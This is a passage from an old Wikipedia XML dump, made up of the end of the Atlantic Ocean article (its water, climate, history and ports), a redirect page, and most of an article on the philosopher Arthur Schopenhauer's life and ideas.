Ocean [[sediment]]s are composed of terrigenous, pelagic, and authigenic material. Terrigenous deposits consist of sand, mud, and rock particles formed by erosion, weathering, and volcanic activity on land and then washed to sea. These materials are largely found on the [[continental shelf|continental shelves]] and are thickest off the mouths of large rivers or off desert coasts. Pelagic deposits, which contain the remains of organisms that sink to the ocean floor, include red clays and [[Globigerinida|Globigerina]], [[pteropod]], and siliceous oozes. Covering most of the ocean floor and ranging in thickness from 60 metres to 3,300 metres (200 ft to 11,000 ft), they are thickest in the convergence belts and in the zones of upwelling. Authigenic deposits consist of such materials as [[manganese nodule]]s. They occur where [[sediment]]ation proceeds slowly or where currents sort the deposits.

==Water characteristics==
&lt;!-- Unsourced image removed: [[Image:Capespearnew.jpg|250px|thumb|right|The Atlantic Ocean at [[Cape Spear]], Newfoundland]] --&gt;
The [[salinity]] of the surface waters in the open ocean ranges from 33 to 37 parts per thousand by mass and varies with latitude and season. Although the minimum salinity values are found just north of the equator, in general the lowest values are in the high latitudes and along coasts where large rivers flow into the ocean. Maximum salinity values occur at about 25° north latitude. Surface salinity values are influenced by evaporation, precipitation, river inflow, and melting of sea ice.

Surface water temperatures, which vary with latitude, current systems, and season and reflect the latitudinal distribution of solar energy, range from less than −2&amp;nbsp;°[[Celsius|C]] to 29&amp;nbsp;°C (28&amp;nbsp;°[[Fahrenheit|F]] to 84&amp;nbsp;°F). &lt;!-- less than 2 is not −2, but assuming less than -2 intended, degree signs butt to letter with space from number --&gt; Maximum temperatures occur north of the equator, and minimum values are found in the polar regions. In the middle latitudes, the area of maximum temperature variations, values may vary by 7&amp;nbsp;°C to 8&amp;nbsp;°C (13&amp;nbsp;°F to 15&amp;nbsp;°F).

The Atlantic Ocean consists of four major water masses. The North and South Atlantic central waters constitute the surface waters. The sub-Antarctic intermediate water extends to depths of 1,000 metres (3,300 ft). The North Atlantic deep water reaches depths of as much as 4,000 metres (13,200 ft). The [[Antarctica|Antarctic]] bottom water occupies ocean basins at depths greater than 4,000 metres (13,200 ft).

Within the North Atlantic, ocean currents isolate a large elongated body of water known as the [[Sargasso Sea]], in which the salinity is noticeably higher than average.  The Sargasso Sea contains large amounts of [[seaweed]], and is also the spawning ground for the [[European eel]].

Due to the [[Coriolis effect]], water in the North Atlantic circulates in a clockwise direction, whereas water circulation in the South Atlantic is counter clockwise. The South [[tide]]s in the Atlantic Ocean are semi-[[diel|diurnal]]; that is, two high tides occur during each 24 lunar hours. The tides are a general wave that moves from south to north. In latitudes above 40° north some east-west oscillation occurs.

==Climate==
[[Image:Atlantic hurricane graphic.gif|frame|right|Waves in the trade winds in the Atlantic Ocean — areas of converging winds that move along the same track as the prevailing wind — create instabilities in the atmosphere that may lead to the formation of hurricanes.]]

The climate of the Atlantic Ocean and adjacent land areas is influenced by the temperatures of the surface waters and water currents as well as the winds blowing across the waters. Because of the oceans' great capacity for retaining heat, maritime climates are moderate and free of extreme seasonal variations. [[Precipitation (meteorology)|Precipitation]] can be approximated from coastal weather data and air temperature from the water temperatures. The oceans are the major source of the atmospheric moisture that is obtained through evaporation. Climatic zones vary with latitude; the warmest climatic zones stretch across the Atlantic north of the equator. The coldest zones are in the high latitudes, with the coldest regions corresponding to the areas covered by sea ice. Ocean currents contribute to climatic control by transporting warm and cold waters to other regions. Adjacent land areas are affected by the winds that are cooled or warmed when blowing over these currents. The [[Gulf Stream]], for example, warms the atmosphere of the British Isles and northwestern Europe, and the cold water currents contribute to heavy fog off the coast of northeastern Canada (the [[Grand Banks]] area) and the northwestern coast of Africa. In general, winds tend to transport moisture and warm or cool air over land areas. [[tropical cyclone|Hurricane]]s develop in the southern part of the North Atlantic Ocean.

==History and economy==
The Atlantic Ocean appears to be the second youngest of the world's oceans, after the [[Southern Ocean]]. Evidence indicates that it did not exist prior to 180 million years ago, when the continents that formed from the breakup of the ancestral supercontinent, [[Pangaea]], were being rafted apart by the process of seafloor spreading. The Atlantic has been extensively explored since the earliest settlements were established along its shores. The [[Vikings]], [[Portugal|Portuguese]], and [[Christopher Columbus]] were the most famous among its early explorers. After Columbus, European exploration rapidly accelerated, and many new trade routes were established. As a result, the Atlantic became and remains the major artery between Europe and the Americas (known as [[transatlantic]] trade). Numerous scientific explorations have been undertaken, including those by the German Meteor expedition, Columbia University's Lamont Geological Observatory, and the United States Navy [[Hydrographic office#United States|Hydrographic Office]].

The ocean has also contributed significantly to the development and economy of the countries around it. Besides its major &quot;[[transatlantic]]&quot; transportation and communication routes, the Atlantic offers abundant petroleum deposits in the [[sedimentary rock]]s of the continental shelves and the world's richest fishing resources, especially in the waters covering the shelves. The major species of fish caught are [[cod]], [[haddock]], [[hake]], [[herring]], and [[mackerel]]. The most productive areas include the [[Grand Banks]] of [[Newfoundland]], the shelf area off [[Nova Scotia]], [[Georges Bank]] off [[Cape Cod]], the Bahama Banks, the waters around [[Iceland]], the [[Irish Sea]], the [[Dogger Bank]] of the [[North Sea]], and the Falkland Banks. [[Eel]], [[lobster]], and [[whale]]s have also been taken in great quantities. All these factors, taken together, tremendously enhance the Atlantic's great commercial value. Because of the threats to the ocean environment presented by oil spills, [[marine debris]], and the incineration of toxic wastes at sea, various international treaties exist to reduce some forms of pollution.

*In [[1858]], the first [[Transatlantic telegraph cable]] was laid by [[Cyrus Field]].
*In [[1919]], the American [[NC-4]] became the first [[airplane]] to cross the Atlantic (though it made a couple of landings on islands along the way).
*Later in [[1919]], a British airplane piloted by [[Alcock and Brown]] made the first non-stop transatlantic flight from [[Newfoundland]] to [[Ireland]].
*In [[1921]], the [[United Kingdom|British]] were the first to cross the North Atlantic in an [[airship]].
*In [[1922]], the [[Portugal|Portuguese]] were the first to cross the South Atlantic in an [[airship]].
*The first transatlantic [[telephone]] call was made on [[January 7]], 1927.
*In [[1927]], [[Charles Lindbergh]] made the first solo non-stop transatlantic flight in an airplane (between [[New York City]] and [[Paris]]). 
*After rowing for 81 days and 2,962 miles, on [[December 3]], [[1999]] [[Tori Murden]] became the first woman to cross the Atlantic Ocean by [[rowboat]] alone when she reached [[Guadeloupe]] from the [[Canary Islands]]. 

'''Location:'''
body of water between [[Africa]], [[Europe]], the [[Southern Ocean]], and the [[Americas]]

'''[[Geographic coordinates]]:''' {{coor dm|0|00|N|25|00|W|}}

'''Map references:'''
[[World]]

'''Area:'''
* ''total:'' [[1 E13 m²|76.762 million km²]] (29.637 million mi²)
* ''note:'' includes the [[Baltic Sea]], [[Black Sea]], [[Caribbean Sea]], [[Davis Strait]], [[Denmark Strait]], part of the [[Drake Passage]], [[Gulf of Mexico]], [[Labrador Sea]], [[Mediterranean Sea]], [[North Sea]], [[Norwegian Sea]], almost all of the [[Scotia Sea]], and other tributary water bodies

'''Area - comparative:'''
slightly less than 6.5 times the size of the [[United States]]

'''Coastline:'''
111,866 km (69,510 mi)

'''Climate:'''
Tropical cyclones ([[hurricane]]s) develop anywhere from off the coast of Africa near [[Cape Verde]] to the [[Windward Islands]] and move westward into the [[Caribbean Sea]] or up the east coast of North America; hurricanes can occur from May to December, but are most frequent from late July to early November. Storms are common in the North Atlantic during northern winters, making ocean crossings more difficult and dangerous.

==Terrain==
The surface is usually covered with sea ice in the [[Labrador Sea]], [[Denmark Strait]], and [[Baltic Sea]] from October to June. There is a clockwise warm-water gyre (broad, circular system of currents) in the northern Atlantic, and a counter-clockwise warm-water gyre in the southern Atlantic. The ocean floor is dominated by the [[Mid-Atlantic Ridge]], a rugged north-south centerline for the entire Atlantic basin, first discovered by the [[Challenger Expedition]].

===Elevation extremes===
*''lowest point:'' [[Milwaukee Deep]] in the [[Puerto Rico Trench]] -8,605 metres (28,232 ft; 5.3 mi)
*''highest point:'' sea level 0 metres

===Natural resources===
[[Petroleum]] and [[gas]] fields, [[fish]], marine mammals ([[seal (mammal)|seal]]s and [[whale]]s), sand and gravel aggregates, [[placer deposit]]s, polymetallic nodules, precious stones

===Natural hazards===
[[Iceberg]]s are common in the [[Davis Strait]], [[Denmark Strait]], and the northwestern Atlantic Ocean from February to August and have been spotted as far south as [[Bermuda]] and the [[Madeira Islands]]. Ships are subject to [[superstructure#Engineering concept|superstructure]] [[icing (nautical)|icing]] in extreme northern Atlantic from October to May. Persistent fog can be a maritime hazard from May to September. So can hurricanes north of the equator (May to December).

The [[Bermuda Triangle]] is popularly believed to be the site of numerous aviation and shipping incidents, due to unexplained and supposedly mysterious causes, but coastguard records do not support this belief.

== Current environmental issues ==
Endangered marine species include the [[manatee]], [[seal (mammal)|seal]]s, [[sea lion]]s, [[turtle]]s, and [[whale]]s. Drift net fishing is killing [[dolphin]]s, [[albatross]]es and other seabirds ([[petrel]]s, [[auk]]s), hastening the decline of fish stocks and contributing to international disputes. There is municipal sludge pollution off the eastern United States, southern [[Brazil]], and eastern [[Argentina]], oil pollution in the [[Caribbean Sea]], [[Gulf of Mexico]], [[Lake Maracaibo]], [[Mediterranean Sea]], and [[North Sea]], and industrial waste and municipal sewage pollution in the Baltic Sea, North Sea, and Mediterranean Sea.

== Notes on geography ==
Major chokepoints include the [[Strait of Gibraltar]] and the [[Panama Canal]]; strategic straits include the [[Strait of Dover]], [[Straits of Florida]], [[Mona Passage]], The Sound ([[Oresund]]), and [[Windward Passage]]; the [[Equator]] divides the Atlantic Ocean into the North Atlantic Ocean and South Atlantic Ocean (previously known as the [[Ethiopic Ocean]]). During the [[Cold War]] the so called [[Greenland]]-[[Iceland]]-[[United Kingdom|UK]] (GIUK) Gap was a major strategic concern, the seabed in that area was laid with extensive [[hydrophone]] systems to track Soviet [[submarine]]s.

==Ports and harbours==
*[[Aberdeen]] ([[United Kingdom]])
*[[Abidjan]] ([[Côte d'Ivoire]]) 
*[[A Coruña]] ([[Spain]]) 
*[[Accra]] ([[Ghana]]) 
*[[Ålesund]] ([[Norway]])
*[[Amsterdam]] ([[Netherlands]]) 
*[[Antwerp]] ([[Belgium]]) 
*[[Bahia Blanca]] ([[Argentina]]) 
*[[Baltimore]] ([[United States]]) 
*[[Banjul]] ([[The Gambia]]) 
*[[Belfast]] ([[Northern Ireland]]) 
*[[Bergen, Norway|Bergen]] ([[Norway]]) 
*[[Bissau]] ([[Guinea-Bissau]])
*[[Bodø]] ([[Norway]]) 
*[[Bordeaux]] ([[France]]) 
*[[Boston, Massachusetts|Boston]] ([[United States]]) 
*[[Bremen (city)|Bremen]] ([[Germany]]) 
*[[Brest, France|Brest]] ([[France]]) 
*[[Bristol]] ([[England]])
*[[Cadiz]] ([[Spain]]) 
*[[Cape Town]] ([[South Africa]]) 
*[[Casablanca]] ([[Morocco]]) 
*[[Cayenne]] ([[French Guiana]]) 
*[[Charleston, South Carolina|Charleston]] ([[United States]]) 
*[[Charlottetown]] ([[Canada]])
*[[Cherbourg]] ([[France]]) 
*[[Conakry]] ([[Guinea]])
*[[Cork]] ([[Republic of Ireland]]) 
*[[Cotonou]] ([[Benin]]) 
*[[Dakar]] ([[Senegal]])
*[[Douala]] ([[Cameroon]]) 
*[[Dublin]] ([[Republic of Ireland]]) 
*[[Dunkirk, France|Dunkirk]] ([[France]]) 
*[[Edinburgh]] ([[Scotland]]) 
*[[Port Everglades|Everglades, Port]] ([[United States]])
*[[Fortaleza]] ([[Brazil]]) 
*[[Georgetown, Guyana|Georgetown]] ([[Guyana]]) 
*[[Glasgow]] ([[Scotland]]) 
*[[Gothenburg]]([[Sweden]])
*[[Hamburg]] ([[Germany]]) 
*[[Halifax Regional Municipality|Halifax]] ([[Canada]]) 
*[[Jacksonville, Florida|Jacksonville]] ([[United States]]) 
*[[Lagos]] ([[Nigeria]]) 
*[[Las Palmas]] ([[Spain]]) 
*[[Le Havre]] ([[France]]) 
*[[Libreville]] ([[Gabon]]) 
*[[Lisbon]] ([[Portugal]]) 
*[[Liverpool]] ([[England]]) 
*[[Lomé]] ([[Togo]]) 
*[[London]] ([[England]]) 
*[[Luanda]] ([[Angola]]) 
*[[Maceió]] ([[Brazil]]) 
*[[Malabo]] ([[Equatorial Guinea]]) 
*[[Port of Miami-Dade|Miami]] ([[United States]]) 
*[[Monrovia]] ([[Liberia]]) 
*[[Montreal|Montréal]] ([[Canada]])
*[[Morehead City, North Carolina|Morehead City]] ([[United States]])
*[[Nantes]] ([[France]]) 
*[[Nantucket]] ([[United States]]) 
*[[Narvik]] ([[Norway]])
*[[New Haven, Connecticut|New Haven]] ([[United States]])
*[[New London, Connecticut|New London]] ([[United States]])
*[[New York]] ([[United States]]) 
*[[Newcastle upon Tyne]] ([[England]])
*[[Newport News]] ([[United States]]) 
*[[Norfolk, Virginia|Norfolk]] ([[United States]]) 
*[[Nouakchott]] ([[Mauritania]]) 
*[[Oslo]] ([[Norway]]) 
*[[Ostend]] ([[Belgium]]) 
*[[Port of Palm Beach|Palm Beach]] ([[United States]])
*[[Paramaribo]] ([[Suriname]]) 
*[[Peterhead]] ([[United Kingdom]])
*[[Philadelphia, Pennsylvania|Philadelphia]] ([[United States]]) 
*[[Port Harcourt]] ([[Nigeria]]) 
*[[Portland, Maine|Portland]] ([[United States]]) 
*[[Porto]] ([[Portugal]]) 
*[[Porto-Novo]] ([[Benin]]) 
*[[Portsmouth]] ([[England]]) 
*[[Portsmouth, New Hampshire|Portsmouth]] ([[United States]]) 
*[[Providence, Rhode Island|Providence]] ([[United States]]) 
*[[Puerto Cortes]] ([[Honduras]])
*[[Quebec City, Quebec|Québec]] ([[Canada]])
*[[Rabat]] ([[Morocco]]) 
*[[Recife]] ([[Brazil]]) 
*[[Reykjavík]] ([[Iceland]]) 
*[[Rio de Janeiro]] ([[Brazil]]) 
*[[Rotterdam]] ([[Netherlands]]) 
*[[Salvador, Brazil|Salvador]] ([[Brazil]]) 
*[[Saint-Nazaire]] ([[France]])
*[[Santa Cruz de Tenerife]] ([[Spain]]) 
*[[Santander, Spain|Santander]] ([[Spain]]) 
*[[Santos (São Paulo)|Santos]] ([[Brazil]]) 
*[[Savannah, Georgia|Savannah]] ([[United States]]) 
*[[Seville]] ([[Spain]]) 
*[[Saint John, New Brunswick|Saint John]] ([[Canada]])
*[[Sept-Îles]] ([[Canada]])
*[[St. John's, Newfoundland and Labrador|St. John's]] ([[Canada]]) 
*[[Southampton]] ([[England]])
*[[Stavanger]] ([[Norway]]) 
*[[Sydney, Nova Scotia|Sydney]] ([[Canada]])
*[[Tangier]] ([[Morocco]])
*[[Trois-Rivières]] ([[Canada]])
*[[Tromsø]] ([[Norway]]) 
*[[Trondheim]] ([[Norway]]) 
*[[Vigo]] ([[Spain]]) 
*[[Vitória]] ([[Brazil]]) 
*[[Walvis Bay]] ([[Namibia]]) 
*[[Willemstad, Netherlands Antilles|Willemstad]] ([[Netherlands Antilles]])
*[[Wilmington, North Carolina|Wilmington]] ([[United States]])
*[[Yarmouth, Nova Scotia|Yarmouth]] ([[Canada]])

=== Note on transportation ===
The [[Saint Lawrence Seaway]] is an important waterway.

== References ==
&lt;div style=&quot;font-size:85%;&quot;&gt;
&lt;references/&gt;
&lt;/div&gt;

Much of this article comes from the public domain site &lt;nowiki&gt;http://oceanographer.navy.mil/atlantic.html&lt;/nowiki&gt; ([[dead link]]).  It is now accessible from the [[Internet Archive]] at http://web.archive.org/web/20020221215514/http%3a//oceanographer.navy.mil/atlantic.html.
* Disclaimers for this website, including its status as a public domain resource, are recorded on the Internet Archive at http://web.archive.org/web/20020212021049/http%3a//oceanographer.navy.mil/warning.html.

==External links==
{{Commons|Atlantic Ocean}}
* [http://dapper.pmel.noaa.gov/dchart/ NOAA In-situ Ocean Data Viewer] Plot and download ocean observations 
*[http://www.cia.gov/cia/publications/factbook/geos/zh.html CIA – The World Factbook – Atlantic Ocean]

[[Category:Atlantic Ocean]]
[[Category:Oceans]]

[[af:Atlantiese Oseaan]]
[[als:Atlantik]]
[[ar:أطلسي]]
[[an:Ozián Atlantico]]
[[ast:Océanu Atlánticu]]
[[bg:Атлантически океан]]
[[zh-min-nan:Tāi-se-iûⁿ]]
[[be:Атлянтычны акіян]]
[[bn:আটলান্টিক মহাসমুদ্র]]
[[br:Meurvor atlantel]]
[[ca:Oceà Atlàntic]]
[[cv:Атлантика океанĕ]]
[[cs:Atlantský oceán]]
[[cy:Cefnfor Iwerydd]]
[[da:Atlanterhavet]]
[[de:Atlantischer Ozean]]
[[et:Atlandi ookean]]
[[el:Ατλαντικός Ωκεανός]]
[[es:Océano Atlántico]]
[[eo:Atlantika Oceano]]
[[eu:Atlantiar ozeano]]
[[fa:اقیانوس اطلس]]
[[fr:Océan Atlantique]]
[[fy:Atlantyske Oseaan]]
[[ga:An tAigéan Atlantach]]
[[gl:Océano Atlántico]]
[[ko:대서양]]
[[hr:Atlantski ocean]]
[[io:Atlantiko]]
[[id:Samudra Atlantik]]
[[is:Atlantshaf]]
[[it:Oceano Atlantico]]
[[he:האוקיינוס האטלנטי]]
[[kw:Keynvor Iwerydh]]
[[la:Oceanus Atlanticus]]
[[lt:Atlanto vandenynas]]
[[li:Atlantische Oceaan]]
[[hu:Atlanti-óceán]]
[[mk:Атлантски Океан]]
[[nl:Atlantische Oceaan]]
[[nds:Atlantik]]
[[ja:大西洋]]
[[no:Atlanterhavet]]
[[nn:Atlanterhavet]]
[[pl:Ocean Atlantycki]]
[[pt:Oceano Atlântico]]
[[ro:Oceanul Atlantic]]
[[ru:Атлантический океан]]
[[scn:Ocèanu Atlànticu]]
[[simple:Atlantic Ocean]]
[[sk:Atlantický oceán]]
[[sl:Atlantski ocean]]
[[sr:Атлантски океан]]
[[fi:Atlantin valtameri]]
[[sv:Atlanten]]
[[ta:அட்லாண்டிக் பெருங்கடல்]]
[[th:มหาสมุทรแอตแลนติก]]
[[vi:Đại Tây Dương]]
[[tr:Atlas Okyanusu]]
[[uk:Атлантичний океан]]
[[zh:大西洋]]</text>
    </revision>
  </page>
  <page>
    <title>Alveolates</title>
    <id>699</id>
    <revision>
      <id>15899225</id>
      <timestamp>2002-07-16T00:04:52Z</timestamp>
      <contributor>
        <username>Josh Grosse</username>
        <id>517</id>
      </contributor>
      <minor />
      <comment>To singular</comment>
      <text xml:space="preserve">#REDIRECT [[Alveolate]]</text>
    </revision>
  </page>
  <page>
    <title>Arthur Schopenhauer</title>
    <id>700</id>
    <restrictions>move=:edit=</restrictions>
    <revision>
      <id>41807323</id>
      <timestamp>2006-03-01T21:57:24Z</timestamp>
      <contributor>
        <ip>144.131.166.198</ip>
      </contributor>
      <text xml:space="preserve">{{Infobox_Philosopher |
  &lt;!-- Scroll down to edit this page --&gt;
  &lt;!-- Philosopher Category --&gt;
  region          = Western Philosophers |
  era             = [[19th-century philosophy]] |
  color           = #B0C4DE |

  &lt;!-- Image and Caption --&gt;
  image_name      = Schopenhauer.jpg |
  image_caption   = Arthur Schopenhauer |

  &lt;!-- Information --&gt;
  name             = Arthur Schopenhauer |
  birth            = [[February 22]], [[1788]] ([[Sztutowo]], [[Poland]]) |
  death            = [[September 21]], [[1860]] ([[Frankfurt-am-Main]], [[Germany]]) |
  school_tradition = [[Kantianism]], [[Idealism]] |
  main_interests   = [[Metaphysics]], [[Aesthetics]], [[Phenomenology]], [[Morality]], [[Psychology]]  |
  influences       = [[Immanuel Kant|Kant]], [[Plato]], [[Jean-Jacques Rousseau|Rousseau]], [[Giacomo Leopardi]], [[Baruch Spinoza|Spinoza]], [[George Berkeley|Berkeley]], [[David Hume|Hume]], [[Rene Descartes|Descartes]], [[Buddhism]], [[Hinduism]] |
  influenced       = [[Richard Wagner|Wagner]], [[Friedrich Nietzsche|Nietzsche]], [[Ludwig Wittgenstein|Wittgenstein]], [[Sigmund Freud|Freud]], [[Carl Jung|Jung]], [[Hermann Hesse]], [[Thomas Mann]] |
  notable_ideas    = [[Will (philosophy)|Will]], [[Fourfold root of the sufficient principle of reason|Fourfold root of reason]] |
}}
'''Arthur Schopenhauer''' ([[February 22]], [[1788]] &amp;ndash; [[September 21]], [[1860]]) was a [[Germany|German]] [[philosopher]]. He is most famous for his work ''[[The World as Will and Representation]]''.  He is commonly known for having espoused a sort of philosophical [[pessimism]] that saw life as being essentially [[evil]], futile, and full of suffering. However, upon closer inspection, in accordance with [[Eastern philosophy|Eastern thought]], especially that of [[Hinduism]] and [[Buddhism]], he saw [[salvation]], deliverance, or escape from suffering in [[aesthetic]] [[contemplation]], [[sympathy]] for others, and [[ascetic]] living.  His ideas profoundly influenced the fields of [[philosophy]], [[psychology]], [[music]], and [[literature]].

== Life ==
Schopenhauer was born in [[1788]] in [[Sztutowo]], Poland, near [[Gdańsk]]. He was the son of Heinrich Floris Schopenhauer and [[Johanna Schopenhauer]], a middle class mercantile family of [[Netherlands|Dutch]] heritage, although they had strong feelings against any kind of nationalism. Indeed, the name Arthur was selected by his father especially because it was the same in [[English language|English]], [[German language|German]], and [[French language|French]]. His parents were both from the city, and Johanna was an author as well. After the city was annexed by [[Prussia]] during the second [[Partitions of Poland|partition of Poland]] in [[1793]], the Schopenhauer family fled to [[Hamburg]]; in [[1805]] Schopenhauer's father died, possibly by [[suicide]], and Johanna moved to [[Weimar]]. Because of a promise to pursue a business career, Schopenhauer remained in Hamburg. His disgust of this career, however, drove him away to join his mother in Weimar after only a year. He never got along with his mother; when the writer [[Johann Wolfgang von Goethe|Goethe]], who was a friend of Johanna Schopenhauer, told her that he thought her son was destined for great things, Johanna objected: she had never heard there could be ''two'' geniuses in a single family.

Schopenhauer studied at the [[Georg August University of Göttingen|University of Göttingen]] and was awarded a PhD from the [[University of Jena]].  In [[1820]], Schopenhauer became a lecturer at the [[University of Berlin]]; it was there that his opposition to [[Georg Wilhelm Friedrich Hegel|Hegel]] began. 

While in Berlin, Schopenhauer became involved in a consuming lawsuit from a Caroline Marquet. She asked for damages from him, a man of independent means, on the basis that she had been injured when Schopenhauer allegedly pushed her. Marquet had noisily attracted Schopenhauer's attention. Then, Marquet's companion witnessed her as being prostrate outside of his apartment. Marquet claimed that the philosopher had assaulted and battered her after she refused to leave his doorway. In this manner, she succeeded in gaining, through the court, a portion of Schopenhauer's limited wealth; he had to make payments for many years. His reputation was permanently damaged by her legal machination.

Schopenhauer's health deteriorated during the year of [[1860]]. He died of [[natural causes]] on [[September 21]] of the same year at the age of 72. 

Schopenhauer called himself a [[Immanuel Kant|Kantian]] and despised Hegel. He formulated a [[philosophical pessimism|pessimistic]] [[philosophy]] that gained importance and support after the failure of the German and Austrian [[revolution]]s of [[1848]].

== Philosophy ==
Schopenhauer's starting point was [[Immanuel Kant|Kant]]'s division of the universe into [[phenomenon]] and [[noumenon]], claiming that the noumenon was the same as that in us which we call [[will (philosophy)|Will]]. It is the inner content and the driving force of the world. For Schopenhauer, human will had [[ontology|ontological]] primacy over the [[intellect]]; in other words, desire is understood to be prior to thought, and, in a parallel sense, will is said to be prior to being.  In solving/alleviating the fundamental problems of life, Schopenhauer was rare among philosophers in considering [[philosophy]] and [[logic]] less important (or less effective) than [[art]], certain types of charitable practice (&quot;loving kindness&quot;, in his terms), and certain forms of religious discipline; Schopenhauer concluded that discursive thought (such as philosophy and logic) could neither touch nor transcend the nature of desire&amp;mdash; i.e., the will.  In ''[[The World as Will and Representation]]'', Schopenhauer posited that humans living in the [[realm of objects]] are living in the [[realm of desire]], and thus are eternally tormented by that desire (his idea of the role of desire in life is similar to that of [[Vedanta]] [[Hinduism]] and Buddhism, and Schopenhauer draws attention to these similarities himself).

While Schopenhauer's philosophy may sound rather mystical in such a summary, his [[methodology]] was resolutely [[empirical]], rather than speculative or transcendental:

{{Quotation|Philosophy... is a science, and as such has no articles of faith; accordingly, in it nothing can be assumed as existing except what is either positively given empirically, or demonstrated through indubitable conclusions.|Arthur Schopenhauer|''Parerga &amp; Paralipomena'', vol. i, pg. 106., E.F.J. Payne Translation}} 

{{Quotation|This actual world of what is knowable, in which we are and which is in us, remains both the material and the limit of our consideration.|Arthur Schopenhauer|''World as Will and Representation'', vol. i, pg. 273, E.F.J. Payne Translation}}

Schopenhauer's identification of the Kantian ''noumenon'' (i.e., the actually existing entity) with what we call our will deserves some explanation.  The noumenon was what Kant called the ''Ding an Sich'', the &quot;Thing in Itself&quot;, the reality that is the foundation of our [[sense|sensory]] and [[mind|mental]] representations of an external world; in Kantian terms, those sensory and mental representations are mere phenomena.  Schopenhauer's assertion that what we call our will is the same as this ''noumenon'' might at first instance strike some as oddly as [[Heraclitus]]'s revelation that everything is made out of [[fire]]. 

But Kant's philosophy was formulated as a response to the radical [[philosophical skepticism]] of [[David Hume]] and his fellow [[British Empiricists]], who claimed that as far as we could tell there was [[solipsism|no outside reality]] beyond our mental representations of it.  Schopenhauer begins by arguing that Kant's demarcation between external objects, knowable only as phenomena, and the Thing in Itself of noumenon, contains a significant omission.  There is, in fact, one physical object we know more intimately than we know any object of sense perception. It is our own body. 

We know our [[human anatomy|human bodies]] have [[boundary|boundaries]], and occupy space, the same way other objects known only through our named senses do.  Though we seldom think of our bodies as physical objects, we know even before reflection that it shares some of their properties.  We understand that a watermelon cannot successfully occupy the same space as an oncoming truck.  We know that if we tried to repeat the experiment with our own bodies, we would obtain similar results.  We know this even if we do not understand the [[physics]] involved.  

We know that our consciousness inhabits a physical body, similar to other physical objects only known as phenomena.  Yet, our consciousness is not commensurate with our body.  Most of us possess the power of voluntary motion.  We usually are not aware of our [[lung]]s' breath, or our [[heart]]beat, unless our attention is called to it.  Our ability to control either is limited.  Our [[kidney]]s command our attention on their schedule rather than one we choose.  Few of us have any idea what our [[liver]]s are doing right now, though this organ is as needful as lungs, heart, or kidneys.  The conscious mind is the servant, not the master, of these and other organs.  These organs have an agenda which the conscious mind did not choose, and has limited power over.   

When Schopenhauer identifies the ''noumenon'' with the desires, needs, and impulses in us that we name &quot;will,&quot; what he is saying is that we participate in the reality of an otherwise unachievable world outside the mind through will.  We cannot ''prove'' that our mental picture of an outside world corresponds with a reality by reasoning.  Through will, we know&amp;mdash;without thinking&amp;mdash; that the world can stimulate us.  We suffer fear, or desire.  These states arise involuntarily.  They arise prior to reflection.  They arise even when the conscious mind would prefer to hold them at bay.  The rational mind is for Schopenhauer a leaf borne along in a stream of pre-reflective and largely unconscious emotion.  That stream is will; and through will, if not through logic, we can participate in the underlying reality that lies beyond mere phenomena.  It is for this reason that Schopenhauer identifies the ''noumenon'' with what we call our will.

Also, Schopenhauer's philosophy could be considered as [[panpsychism]] and [[solipsism]], and in some way [[Gnosticism|gnostic]].

== Psychology ==
Schopenhauer was perhaps even more influential in his treatment of man's [[mind]] than he was in the realm of [[philosophy]].

Philosophers have not traditionally been impressed by the tribulations of [[love]].  But Schopenhauer addressed it, and related concepts, forthrightly.

:&quot;We should be surprised that a matter that generally plays such an important part in the life of man [love] has hitherto been almost entirely disregarded by philosophers, and lies before us as raw and untreated material.&quot;

He gave a name to a [[force]] within man which he felt invariably had precedence over reason: the [[Will to Live]] (Wille zum Leben), defined as an inherent [[drive]] within human beings, and indeed all creatures, to stay alive and to [[reproduce]].

Schopenhauer refused to conceive of love as either trifling or accidental, but rather understood it to be an immensely powerful force lying unseen within man's [[psyche]] and dramatically shaping the [[world]]:

:&quot;The ultimate aim of all love affairs ...is more important than all other aims in man's life; and therefore it is quite worthy of the profound seriousness with which everyone pursues it.&quot;
:&quot;What is decided by it is nothing less than the composition of the next generation...&quot;

These ideas foreshadowed and laid the groundwork for [[Charles Darwin|Darwin]]'s [[theory of evolution]], [[Friedrich Nietzsche|Nietzsche]]'s [[Will to Power]] and [[Sigmund Freud|Freud]]'s concepts of the [[libido]] and the [[unconscious]] [[mind]].

== Aesthetics ==
:''See main article: [[Schopenhauer's aesthetics]]''

This wild and powerful drive to reproduce, however, caused [[suffering]] and [[pain]] in the world.  For Schopenhauer, one way to escape the suffering inherent in a world of Will was through [[art]].

Through art, Schopenhauer thought, the thinking subject could be jarred out of their limited, individual [[perspective]] to feel a sense of the [[universal (metaphysics)]] directly &amp;mdash; the &quot;universal&quot; in question, of course, was the will.  The contest of personal [[desire]] with a world that was, by nature, inimical to its satisfaction is inevitably tragical; therefore, the highest place in art was given to [[tragedy]].  [[Music]] was also given a special status in [[Schopenhauer's aesthetics]] as it did not rely upon the medium of representation to communicate a sense of the universal.  Schopenhauer believed the function of art to be a [[meditation]] on the unity of [[human nature]], and an attempt to either demonstrate or directly communicate to the [[audience]] a certain [[existential]] [[angst]] for which most forms of entertainment &amp;mdash; including bad art &amp;mdash; only provided a distraction.  A wide range of authors (from [[Thomas Hardy]] to [[Woody Allen]]) and artists have been influenced by this system of [[aesthetics]], and in the 20th century this area of Schopenhauer's work garnered more attention and praise than any other.

According to Daniel Albright (2005), &quot;Schopenhauer thought that [[music]] was the only art that did not merely copy ideas, but actually embodied the will itself.&quot;

==Politics==
Schopenhauer's [[politics]] were, for the most part, a much-diminished echo of his system of ethics (the latter being expressed in ''[[Die beiden Grundprobleme der Ethik]]'', available in English as two separate books, ''[[On the Basis of Morality]]'' and ''[[On the Freedom of the Will]]''; ethics also occupies about one fourth of his central work, ''[[The World as Will and Representation]]'').  In occasional political comments in his ''[[Parerga and Paralimpomena]]'' and ''[[Manuscript Remains]]'', Schopenhauer described himself as a proponent of limited government.  What was essential, he thought, was that the state should &quot;leave each man free to work out his own salvation&quot;, and so long as government was thus limited, he would &quot;prefer to be ruled by a lion than one of [his] fellow rats&quot; &amp;mdash; i.e., a monarch.  Schopenhauer did, however, share the view of [[Thomas Hobbes]] on the necessity of the state, and of state violence, to check the destructive tendencies innate to our species.  Schopenhauer, by his own admission, did not give much thought to politics, and several times he writes prideful boasts of how little attention he had paid &quot;to political affairs of [his] day&quot;.  In a life that spanned several revolutions in French and German government, and a few continent-shaking wars, he did indeed maintain his aloof position of &quot;minding not the times but the eternities&quot;.

== Schopenhauer on women ==
